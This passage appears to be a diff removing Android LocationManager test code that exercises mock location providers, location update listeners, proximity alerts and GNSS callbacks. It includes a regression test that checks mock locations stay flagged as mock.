- */
- private void addTestProvider(final String providerName) {
- mManager.addTestProvider(providerName, true, //requiresNetwork,
- false, // requiresSatellite,
- true, // requiresCell,
- false, // hasMonetaryCost,
- false, // supportsAltitude,
- false, // supportsSpeed,
- false, // supportsBearing,
- Criteria.POWER_MEDIUM, // powerRequirement
- Criteria.ACCURACY_FINE); // accuracy
- mManager.setTestProviderEnabled(providerName, true);
- }
-
- @Override
- protected void tearDown() throws Exception {
- LocationProvider provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
- if (provider != null) {
- mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
- }
- if (mPendingIntent != null) {
- mManager.removeProximityAlert(mPendingIntent);
- }
- if (mIntentReceiver != null) {
- mContext.unregisterReceiver(mIntentReceiver);
- }
- super.tearDown();
- }
-
- public void testRemoveTestProvider() {
- // this test assumes TEST_MOCK_PROVIDER_NAME was created in setUp.
- LocationProvider provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
- assertNotNull(provider);
-
- try {
- mManager.addTestProvider(TEST_MOCK_PROVIDER_NAME, true, //requiresNetwork,
- false, // requiresSatellite,
- true, // requiresCell,
- false, // hasMonetaryCost,
- false, // supportsAltitude,
- false, // supportsSpeed,
- false, // supportsBearing,
- Criteria.POWER_MEDIUM, // powerRequirement
- Criteria.ACCURACY_FINE); // accuracy
- fail("Should throw IllegalArgumentException when provider already exists!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
- provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
- assertNull(provider);
-
- try {
- mManager.removeTestProvider(UNKNOWN_PROVIDER_NAME);
- fail("Should throw IllegalArgumentException when no provider exists!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testGetProviders() {
- List<String> providers = mManager.getAllProviders();
- assertTrue(providers.size() >= 2);
- assertTrue(hasTestProvider(providers));
-
- assertEquals(hasGpsFeature(), hasGpsProvider(providers));
-
- int oldSizeAllProviders = providers.size();
-
- providers = mManager.getProviders(false);
- assertEquals(oldSizeAllProviders, providers.size());
- assertTrue(hasTestProvider(providers));
-
- providers = mManager.getProviders(true);
- assertTrue(providers.size() >= 1);
- assertTrue(hasTestProvider(providers));
- int oldSizeTrueProviders = providers.size();
-
- mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, false);
- providers = mManager.getProviders(true);
- assertEquals(oldSizeTrueProviders - 1, providers.size());
- assertFalse(hasTestProvider(providers));
-
- providers = mManager.getProviders(false);
- assertEquals(oldSizeAllProviders, providers.size());
- assertTrue(hasTestProvider(providers));
-
- mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
- providers = mManager.getAllProviders();
- assertEquals(oldSizeAllProviders - 1, providers.size());
- assertFalse(hasTestProvider(providers));
- }
-
- private boolean hasTestProvider(List<String> providers) {
- return hasProvider(providers, TEST_MOCK_PROVIDER_NAME);
- }
-
- private boolean hasGpsProvider(List<String> providers) {
- return hasProvider(providers, LocationManager.GPS_PROVIDER);
- }
-
- private boolean hasGpsFeature() {
- return mContext.getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_LOCATION_GPS);
- }
-
- private boolean hasProvider(List<String> providers, String providerName) {
- for (String provider : providers) {
- if (provider != null && provider.equals(providerName)) {
- return true;
- }
- }
- return false;
- }
-
- public void testGetProvider() {
- LocationProvider p = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
- assertNotNull(p);
- assertEquals(TEST_MOCK_PROVIDER_NAME, p.getName());
-
- p = mManager.getProvider(LocationManager.GPS_PROVIDER);
- if (hasGpsFeature()) {
- assertNotNull(p);
- assertEquals(LocationManager.GPS_PROVIDER, p.getName());
- } else {
- assertNull(p);
- }
-
- p = mManager.getProvider(UNKNOWN_PROVIDER_NAME);
- assertNull(p);
-
- try {
- mManager.getProvider(null);
- fail("Should throw IllegalArgumentException when provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testGetProvidersWithCriteria() {
- Criteria criteria = new Criteria();
- List<String> providers = mManager.getProviders(criteria, true);
- assertTrue(providers.size() >= 1);
- assertTrue(hasTestProvider(providers));
-
- criteria = new Criteria();
- criteria.setPowerRequirement(Criteria.POWER_HIGH);
- String p = mManager.getBestProvider(criteria, true);
- if (p != null) { // we may not have any enabled providers
- assertTrue(mManager.isProviderEnabled(p));
- }
-
- criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
- p = mManager.getBestProvider(criteria, false);
- assertNotNull(p);
-
- criteria.setPowerRequirement(Criteria.POWER_LOW);
- p = mManager.getBestProvider(criteria, true);
- if (p != null) { // we may not have any enabled providers
- assertTrue(mManager.isProviderEnabled(p));
- }
-
- criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
- p = mManager.getBestProvider(criteria, false);
- assertNotNull(p);
- }
-
- /**
- * Returns true if the {@link LocationManager} reports that the device includes this flavor
- * of location provider.
- */
- private boolean deviceHasProvider(String provider) {
- List<String> providers = mManager.getAllProviders();
- for (String aProvider : providers) {
- if (aProvider.equals(provider)) {
- return true;
- }
- }
- return false;
- }
-
- /**
- * Ensures the test provider is removed. {@link LocationManager#removeTestProvider(String)}
- * throws an {@link java.lang.IllegalArgumentException} if there is no such test provider,
- * so we have to add it before we clear it.
- */
- private void forceRemoveTestProvider(String provider) {
- addTestProvider(provider);
- mManager.removeTestProvider(provider);
- }
-
- public void testLocationUpdatesWithLocationListener() throws InterruptedException {
- doLocationUpdatesWithLocationListener(TEST_MOCK_PROVIDER_NAME);
-
- try {
- mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
- (LocationListener) null);
- fail("Should throw IllegalArgumentException if param listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(null, 0, 0, new MockLocationListener());
- fail("Should throw IllegalArgumentException if param provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (LocationListener) null );
- fail("Should throw IllegalArgumentException if listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- /**
- * Helper method to test a location update with given mock location provider
- *
- * @param providerName name of provider to test. Must already exist.
- * @throws InterruptedException
- */
- private void doLocationUpdatesWithLocationListener(final String providerName)
- throws InterruptedException {
- final double latitude1 = 10;
- final double longitude1 = 40;
- final double latitude2 = 35;
- final double longitude2 = 80;
- final MockLocationListener listener = new MockLocationListener();
-
- // update location and notify listener
- new Thread(new Runnable() {
- public void run() {
- Looper.prepare();
- mManager.requestLocationUpdates(providerName, 0, 0, listener);
- listener.setLocationRequested();
- Looper.loop();
- }
- }).start();
- // wait for location requested to be called first, otherwise setLocation can be called
- // before there is a listener attached
- assertTrue(listener.hasCalledLocationRequested(TEST_TIME_OUT));
- updateLocation(providerName, latitude1, longitude1);
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals(providerName, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- // update location without notifying listener
- listener.reset();
- assertFalse(listener.hasCalledOnLocationChanged(0));
- mManager.removeUpdates(listener);
- updateLocation(providerName, latitude2, longitude2);
- assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- }
-
- /**
- * Verifies that all real location providers can be replaced by a mock provider.
- * <p/>
- * This feature is quite useful for developer automated testing.
- * This test may fail if another unknown test provider already exists, because there is no
- * known way to determine if a given provider is a test provider.
- * @throws InterruptedException
- */
- public void testReplaceRealProvidersWithMocks() throws InterruptedException {
- for (String providerName : mManager.getAllProviders()) {
- if (!providerName.equals(TEST_MOCK_PROVIDER_NAME) &&
- !providerName.equals(LocationManager.PASSIVE_PROVIDER)) {
- addTestProvider(providerName);
- try {
- // run the update location test logic to ensure location updates can be injected
- doLocationUpdatesWithLocationListener(providerName);
- } finally {
- mManager.removeTestProvider(providerName);
- }
- }
- }
- }
-
- public void testLocationUpdatesWithLocationListenerAndLooper() throws InterruptedException {
- double latitude1 = 60;
- double longitude1 = 20;
- double latitude2 = 40;
- double longitude2 = 30;
- final MockLocationListener listener = new MockLocationListener();
-
- // update location and notify listener
- HandlerThread handlerThread = new HandlerThread("testLocationUpdates");
- handlerThread.start();
- mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, listener,
- handlerThread.getLooper());
-
- updateLocation(latitude1, longitude1);
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- // update location without notifying listener
- mManager.removeUpdates(listener);
- listener.reset();
- updateLocation(latitude2, longitude2);
- assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
- try {
- mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
- (LocationListener) null, Looper.myLooper());
- fail("Should throw IllegalArgumentException if param listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(null, 0, 0, listener, Looper.myLooper());
- fail("Should throw IllegalArgumentException if param provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates((LocationListener) null );
- fail("Should throw IllegalArgumentException if listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testLocationUpdatesWithPendingIntent() throws InterruptedException {
- double latitude1 = 20;
- double longitude1 = 40;
- double latitude2 = 30;
- double longitude2 = 50;
-
- // update location and receive broadcast.
- registerIntentReceiver();
- mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
- updateLocation(latitude1, longitude1);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- // update location without receiving broadcast.
- mManager.removeUpdates(mPendingIntent);
- mIntentReceiver.clearReceivedIntents();
- updateLocation(latitude2, longitude2);
- waitForReceiveBroadcast();
- assertNull(mIntentReceiver.getLastReceivedIntent());
-
- try {
- mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
- (PendingIntent) null);
- fail("Should throw IllegalArgumentException if param intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(null, 0, 0, mPendingIntent);
- fail("Should throw IllegalArgumentException if param provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (PendingIntent) null );
- fail("Should throw IllegalArgumentException if intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testSingleUpdateWithLocationListenerAndLooper() throws InterruptedException {
- double latitude1 = 60;
- double longitude1 = 20;
- double latitude2 = 40;
- double longitude2 = 30;
- double latitude3 = 10;
- double longitude3 = 50;
- final MockLocationListener listener = new MockLocationListener();
-
- // update location and notify listener
- HandlerThread handlerThread = new HandlerThread("testLocationUpdates4");
- handlerThread.start();
- mManager.requestSingleUpdate(TEST_MOCK_PROVIDER_NAME, listener, handlerThread.getLooper());
-
- updateLocation(latitude1, longitude1);
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- // Any further location change doesn't trigger an update.
- updateLocation(latitude2, longitude2);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
-
- // update location without notifying listener
- mManager.removeUpdates(listener);
- listener.reset();
- updateLocation(latitude3, longitude3);
- assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
- try {
- mManager.requestSingleUpdate(LocationManager.GPS_PROVIDER, mPendingIntent);
- fail("Should throw IllegalArgumentException if PendingIntent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestSingleUpdate(LocationManager.GPS_PROVIDER, (LocationListener) null,
- Looper.myLooper());
- fail("Should throw IllegalArgumentException if param listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestSingleUpdate((String) null, listener, Looper.myLooper());
- fail("Should throw IllegalArgumentException if param provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates((LocationListener) null );
- fail("Should throw IllegalArgumentException if listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testLocationUpdatesWithCriteriaAndPendingIntent() throws InterruptedException {
- double latitude1 = 10;
- double longitude1 = 20;
- double latitude2 = 30;
- double longitude2 = 40;
-
- registerIntentReceiver();
- mockFusedLocation();
-
- // Update location and receive broadcast.
- Criteria criteria = createLocationCriteria();
- mManager.requestLocationUpdates(0, 0 , criteria, mPendingIntent);
- updateFusedLocation(latitude1, longitude1);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- Location location = (Location) mIntentReceiver.getLastReceivedIntent().getExtras()
- .get(LocationManager.KEY_LOCATION_CHANGED);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertTrue(location.hasAccuracy());
- assertEquals(1.0f, location.getAccuracy());
- assertEquals(true, location.isFromMockProvider());
-
- // Update location without receiving broadcast.
- mManager.removeUpdates(mPendingIntent);
- mIntentReceiver.clearReceivedIntents();
- updateFusedLocation(latitude2, longitude2);
- waitForReceiveBroadcast();
- assertNull(mIntentReceiver.getLastReceivedIntent());
-
- // Missing arguments throw exceptions.
- try {
- mManager.requestLocationUpdates(0, 0, criteria, (PendingIntent) null);
- fail("Should throw IllegalArgumentException if param intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(0, 0, null, mPendingIntent);
- fail("Should throw IllegalArgumentException if param criteria is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (PendingIntent) null );
- fail("Should throw IllegalArgumentException if param PendingIntent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- unmockFusedLocation();
- }
-
- public void testSingleUpdateWithCriteriaAndPendingIntent() throws InterruptedException {
- double latitude1 = 10;
- double longitude1 = 20;
- double latitude2 = 30;
- double longitude2 = 40;
- double latitude3 = 50;
- double longitude3 = 60;
-
- registerIntentReceiver();
- mockFusedLocation();
-
- // Update location and receive broadcast.
- Criteria criteria = createLocationCriteria();
- mManager.requestSingleUpdate(criteria, mPendingIntent);
- updateFusedLocation(latitude1, longitude1);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- Location location = (Location) mIntentReceiver.getLastReceivedIntent().getExtras()
- .get(LocationManager.KEY_LOCATION_CHANGED);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertTrue(location.hasAccuracy());
- assertEquals(1.0f, location.getAccuracy());
- assertEquals(true, location.isFromMockProvider());
-
- // Any further location change doesn't trigger an update.
- updateFusedLocation(latitude2, longitude2);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
-
- // Update location without receiving broadcast.
- mManager.removeUpdates(mPendingIntent);
- mIntentReceiver.clearReceivedIntents();
- updateFusedLocation(latitude3, longitude3);
- waitForReceiveBroadcast();
- assertNull(mIntentReceiver.getLastReceivedIntent());
-
- // Missing arguments throw exceptions.
- try {
- mManager.requestSingleUpdate(criteria, (PendingIntent) null);
- fail("Should throw IllegalArgumentException if param intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestSingleUpdate((Criteria) null, mPendingIntent);
- fail("Should throw IllegalArgumentException if param criteria is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (PendingIntent) null );
- fail("Should throw IllegalArgumentException if param PendingIntent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- unmockFusedLocation();
- }
-
- public void testLocationUpdatesWithCriteriaAndLocationListenerAndLooper()
- throws InterruptedException {
- double latitude1 = 40;
- double longitude1 = 10;
- double latitude2 = 20;
- double longitude2 = 30;
- final MockLocationListener listener = new MockLocationListener();
- mockFusedLocation();
-
- // update location and notify listener
- HandlerThread handlerThread = new HandlerThread("testLocationUpdates1");
- handlerThread.start();
- Criteria criteria = createLocationCriteria();
- mManager.requestLocationUpdates(0, 0, criteria, listener, handlerThread.getLooper());
-
- updateFusedLocation(latitude1, longitude1);
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertTrue(location.hasAccuracy());
- assertEquals(1.0f, location.getAccuracy());
- assertEquals(true, location.isFromMockProvider());
-
- // update location without notifying listener
- mManager.removeUpdates(listener);
- listener.reset();
- updateFusedLocation(latitude2, longitude2);
- assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
- // Missing arguments throw exceptions.
- try {
- mManager.requestLocationUpdates(0, 0, criteria, (LocationListener) null,
- Looper.myLooper());
- fail("Should throw IllegalArgumentException if param listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(0, 0, null, listener, Looper.myLooper());
- fail("Should throw IllegalArgumentException if param criteria is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (LocationListener) null );
- fail("Should throw IllegalArgumentException if listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- unmockFusedLocation();
- }
-
- public void testSingleUpdateWithCriteriaAndLocationListenerAndLooper()
- throws InterruptedException {
- double latitude1 = 40;
- double longitude1 = 10;
- double latitude2 = 20;
- double longitude2 = 30;
- double latitude3 = 60;
- double longitude3 = 50;
- final MockLocationListener listener = new MockLocationListener();
- mockFusedLocation();
-
- // update location and notify listener
- HandlerThread handlerThread = new HandlerThread("testLocationUpdates2");
- handlerThread.start();
- Criteria criteria = createLocationCriteria();
- mManager.requestSingleUpdate(criteria, listener, handlerThread.getLooper());
-
- updateFusedLocation(latitude1, longitude1);
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals(FUSED_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertTrue(location.hasAccuracy());
- assertEquals(1.0f, location.getAccuracy());
- assertEquals(true, location.isFromMockProvider());
-
- // Any further location change doesn't trigger an update.
- updateFusedLocation(latitude2, longitude2);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
-
- // update location without notifying listener
- mManager.removeUpdates(listener);
- listener.reset();
- updateFusedLocation(latitude3, longitude3);
- assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
- // Missing arguments throw exceptions.
- try {
- mManager.requestLocationUpdates(0, 0, criteria, (LocationListener) null,
- Looper.myLooper());
- fail("Should throw IllegalArgumentException if param listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(0, 0, null, listener, Looper.myLooper());
- fail("Should throw IllegalArgumentException if param criteria is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (LocationListener) null );
- fail("Should throw IllegalArgumentException if listener is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- unmockFusedLocation();
- }
-
- public void testSingleUpdateWithPendingIntent() throws InterruptedException {
- double latitude1 = 20;
- double longitude1 = 40;
- double latitude2 = 30;
- double longitude2 = 50;
- double latitude3 = 10;
- double longitude3 = 60;
-
- // update location and receive broadcast.
- registerIntentReceiver();
- mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
- updateLocation(latitude1, longitude1);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- // Any further location change doesn't trigger an update.
- updateLocation(latitude2, longitude2);
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
-
- // update location without receiving broadcast.
- mManager.removeUpdates(mPendingIntent);
- mIntentReceiver.clearReceivedIntents();
- updateLocation(latitude3, longitude3);
- waitForReceiveBroadcast();
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
-
- try {
- mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
- (PendingIntent) null);
- fail("Should throw IllegalArgumentException if param intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.requestLocationUpdates(null, 0, 0, mPendingIntent);
- fail("Should throw IllegalArgumentException if param provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.removeUpdates( (PendingIntent) null );
- fail("Should throw IllegalArgumentException if intent is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testAddProximityAlert() {
- Intent i = new Intent();
- i.setAction("android.location.cts.TEST_GET_GPS_STATUS_ACTION");
- PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_ONE_SHOT);
-
- mManager.addProximityAlert(0, 0, 1.0f, 5000, pi);
- mManager.removeProximityAlert(pi);
- }
-
- @UiThreadTest
- public void testNmeaListener() {
- MockGnssNmeaListener gnssListener = new MockGnssNmeaListener();
- mManager.addNmeaListener(gnssListener);
- mManager.removeNmeaListener(gnssListener);
-
- HandlerThread handlerThread = new HandlerThread("testNmeaListener");
- handlerThread.start();
- mManager.addNmeaListener(gnssListener, new Handler(handlerThread.getLooper()));
- mManager.removeNmeaListener(gnssListener);
-
- mManager.addNmeaListener((OnNmeaMessageListener) null);
- mManager.removeNmeaListener((OnNmeaMessageListener) null);
- }
-
- public void testIsProviderEnabled() {
- // this test assumes enabled TEST_MOCK_PROVIDER_NAME was created in setUp.
- assertNotNull(mManager.getProvider(TEST_MOCK_PROVIDER_NAME));
- assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
- mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
- //onSetEnabled in LMS is handle in thread, it's not synchronized ,
- //need add delay here or will cause check failed
- try {
- Thread.sleep(100);
- } catch (Exception e) {
- Log.e(TAG, "fail in testIsProviderEnabled");
- }
- assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
- mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
- try {
- Thread.sleep(100);
- } catch (Exception e) {
- Log.e(TAG, "fail in testIsProviderEnabled");
- }
- assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
- try {
- mManager.isProviderEnabled(null);
- fail("Should throw IllegalArgumentException if provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- mManager.setTestProviderEnabled(UNKNOWN_PROVIDER_NAME, false);
- fail("Should throw IllegalArgumentException if provider is unknown!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- public void testGetLastKnownLocation() throws InterruptedException {
- double latitude1 = 20;
- double longitude1 = 40;
- double latitude2 = 10;
- double longitude2 = 70;
-
- registerIntentReceiver();
- mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
- updateLocation(latitude1, longitude1);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude1, location.getLatitude());
- assertEquals(longitude1, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- mIntentReceiver.clearReceivedIntents();
- updateLocation(latitude2, longitude2);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
- assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
- assertEquals(latitude2, location.getLatitude());
- assertEquals(longitude2, location.getLongitude());
- assertEquals(true, location.isFromMockProvider());
-
- try {
- mManager.getLastKnownLocation(null);
- fail("Should throw IllegalArgumentException if provider is null!");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
- /**
- * Test case for bug 33091107, where a malicious app used to be able to fool a real provider
- * into providing a mock location that isn't marked as being mock.
- */
- public void testLocationShouldStillBeMarkedMockWhenProvidersDoNotMatch()
- throws InterruptedException {
- double latitude = 20;
- double longitude = 40;
-
- List<String> providers = mManager.getAllProviders();
- if (providers.isEmpty()) {
- // Device doesn't have any providers. Can't perform this test, and no need to do so:
- // no providers that malicious app could fool
- return;
- }
- String realProviderToFool = providers.get(0);
-
- // Register for location updates, then set a mock location and ensure it is marked "mock"
- updateLocationAndWait(TEST_MOCK_PROVIDER_NAME, realProviderToFool, latitude, longitude);
- }
-
- @UiThreadTest
- public void testGnssStatusListener() {
- MockGnssStatusCallback callback = new MockGnssStatusCallback();
- mManager.registerGnssStatusCallback(callback);
- mManager.unregisterGnssStatusCallback(callback);
-
- mManager.registerGnssStatusCallback(null);
- mManager.unregisterGnssStatusCallback(null);
-
- HandlerThread handlerThread = new HandlerThread("testStatusUpdates");
- handlerThread.start();
-
- mManager.registerGnssStatusCallback(callback, new Handler(handlerThread.getLooper()));
- mManager.unregisterGnssStatusCallback(callback);
- }
-
- /**
- * Tests basic proximity alert when entering proximity
- */
- public void testEnterProximity() throws Exception {
- if (!isSystemUser()) {
- Log.i(TAG, "Skipping test on secondary user");
- return;
- }
- // need to mock the fused location provider for proximity tests
- mockFusedLocation();
-
- doTestEnterProximity(10000);
-
- unmockFusedLocation();
- }
-
- /**
- * Tests proximity alert when entering proximity, with no expiration
- */
- public void testEnterProximity_noexpire() throws Exception {
- if (!isSystemUser()) {
- Log.i(TAG, "Skipping test on secondary user");
- return;
- }
- // need to mock the fused location provider for proximity tests
- mockFusedLocation();
-
- doTestEnterProximity(-1);
-
- unmockFusedLocation();
- }
-
- /**
- * Tests basic proximity alert when exiting proximity
- */
- public void testExitProximity() throws Exception {
- if (!isSystemUser()) {
- Log.i(TAG, "Skipping test on secondary user");
- return;
- }
- // need to mock the fused location provider for proximity tests
- mockFusedLocation();
-
- // first do enter proximity scenario
- doTestEnterProximity(-1);
-
- // now update to trigger exit proximity proximity
- mIntentReceiver.clearReceivedIntents();
- updateLocationAndWait(FUSED_PROVIDER_NAME, 20, 20);
- waitForReceiveBroadcast();
- assertProximityType(false);
-
- unmockFusedLocation();
- }
-
- /**
- * Tests basic proximity alert when initially within proximity
- */
- public void testInitiallyWithinProximity() throws Exception {
- if (!isSystemUser()) {
- Log.i(TAG, "Skipping test on secondary user");
- return;
- }
- // need to mock the fused location provider for proximity tests
- mockFusedLocation();
-
- updateLocationAndWait(FUSED_PROVIDER_NAME, 0, 0);
- registerProximityListener(0, 0, 1000, 10000);
- waitForReceiveBroadcast();
- assertProximityType(true);
-
- unmockFusedLocation();
- }
-
- /**
- * Helper variant for testing enter proximity scenario
- * TODO: add additional parameters as more scenarios are added
- *
- * @param expiration - expiration of proximity alert
- */
- private void doTestEnterProximity(long expiration) throws Exception {
- // update location to outside proximity range
- updateLocationAndWait(FUSED_PROVIDER_NAME, 30, 30);
- registerProximityListener(0, 0, 1000, expiration);
-
- // Adding geofences is asynchronous, the return of LocationManager.addProximityAlert
- // doesn't mean that geofences are already being monitored. Wait for a few milliseconds
- // so that GeofenceManager is actively monitoring locations before we send the mock
- // location to avoid flaky tests.
- Thread.sleep(500);
-
- updateLocationAndWait(FUSED_PROVIDER_NAME, 0, 0);
- waitForReceiveBroadcast();
- assertProximityType(true);
- }
-
-
- private void updateLocationAndWait(String providerName, double latitude, double longitude)
- throws InterruptedException {
- updateLocationAndWait(providerName, providerName, latitude, longitude);
- }
-
- /**
- * Like {@link #updateLocationAndWait(String, double, double)}, but allows inconsistent providers
- * to be used in the calls to {@link Location#Location(String)} and {@link
- * LocationManager#setTestProviderLocation(String, Location)}
- *
- * @param testProviderName used in {@link LocationManager#setTestProviderLocation(String,
- * Location)}
- * @param locationProviderName used in {@link Location#Location(String)}
- */
- private void updateLocationAndWait(String testProviderName, String locationProviderName,
- double latitude, double longitude) throws InterruptedException {
-
- // Register a listener for the location we are about to set.
- MockLocationListener listener = new MockLocationListener();
- HandlerThread handlerThread = new HandlerThread("updateLocationAndWait");
- handlerThread.start();
- mManager.requestLocationUpdates(locationProviderName, 0, 0, listener,
- handlerThread.getLooper());
-
- // Set the location.
- updateLocation(testProviderName, locationProviderName, latitude, longitude);
-
- // Make sure we received the location, and it is the right one.
- assertTrue("Listener not called", listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
- Location location = listener.getLocation();
- assertEquals("Bad provider name", locationProviderName, location.getProvider());
- assertEquals("Bad latitude", latitude, location.getLatitude());
